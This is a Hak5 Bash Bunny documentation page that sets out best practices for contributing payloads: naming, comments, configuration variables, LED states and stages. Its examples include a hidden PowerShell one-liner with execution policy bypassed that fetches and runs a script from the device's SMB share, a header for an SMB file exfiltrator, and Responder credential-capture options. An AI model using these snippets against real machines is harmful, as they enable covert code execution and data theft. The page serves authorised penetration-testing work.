> For the complete documentation index, see [llms.txt](https://documentation.hak5.org/bash-bunny/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://documentation.hak5.org/bash-bunny/writing-payloads/contributing-best-practices.md). # Contributing Best Practices Once you have developed your payload, you are encouraged to contribute to this repository by submitting a Pull Request. Reviewed and Approved pull requests will add your payload to this repository, where they may be publically available. Please adhere to the following best practices and style guide when submitting a payload. #### Naming Conventions Please give your payload a unique and descriptive name. Do not use spaces in payload names. Each payload should be submit into its own directory, with `-` or `_` used in place of spaces, to one of the categories such as exfiltration, phishing, remote\_access or recon. Do not create your own category. #### Binaries Binaries may not be accepted in this repository. If a binary is used in conjunction with the payload, please document where it or its source may be obtained. #### Comments Payloads should begin with comments specifying at the very least the name of the payload and author. Additional information such as a brief description, the target, any dependencies / prerequisites and the LED status used is helpful. ``` Title: SMB Exfiltrator Description: Exfiltrates files from %userprofile%\documents via SMB Author: Hak5Darren Target: Windows XP SP3 - Latest Dependencies: impacket ``` #### Configuration Options Configurable options should be specified in variables at the top of the payload.txt file ``` # Options RESPONDER_OPTIONS="-w -r -d -P" LOOTDIR=/root/udisk/loot/quickcreds ``` #### LED The payload should use common payload states rather than unique color/pattern combinations when possible with an LED command preceding the Stage or ATTACKMODE. ``` # Initialization LED SETUP GET SWITCH_POSITION GET HOST_IP # Attack LED ATTACK ATTACKMODE HID ECM_ETHERNET ``` #### Stages and States Stages should be documented with comments ``` # Keystroke Injection Stage # Runs hidden powershell which executes \\172.16.64.1\s\s.ps1 when available GET HOST_IP LED STAGE1 ATTACKMODE HID RUN WIN "powershell -WindowStyle Hidden -Exec Bypass \"while (\$true) { If (Test-Connection $HOST_IP -count 1) { \\\\$HOST_IP\\s\\s.ps1; exit } }\"" ``` Common payload states include a `SETUP`, with may include a `FAIL` if certain conditions are not met. This is typically followed by either a single `ATTACK` or multiple `STAGEs`. More complex payloads may include a `SPECIAL` function to wait until certain conditions are met. Payloads commonly end with a `CLEANUP` phase, such as moving and deleting files or stopping services. A payload may `FINISH` when the objective is complete and the device is safe to eject or turn off. These common payload states correspond to `LED` states. --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://documentation.hak5.org/bash-bunny/writing-payloads/contributing-best-practices.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.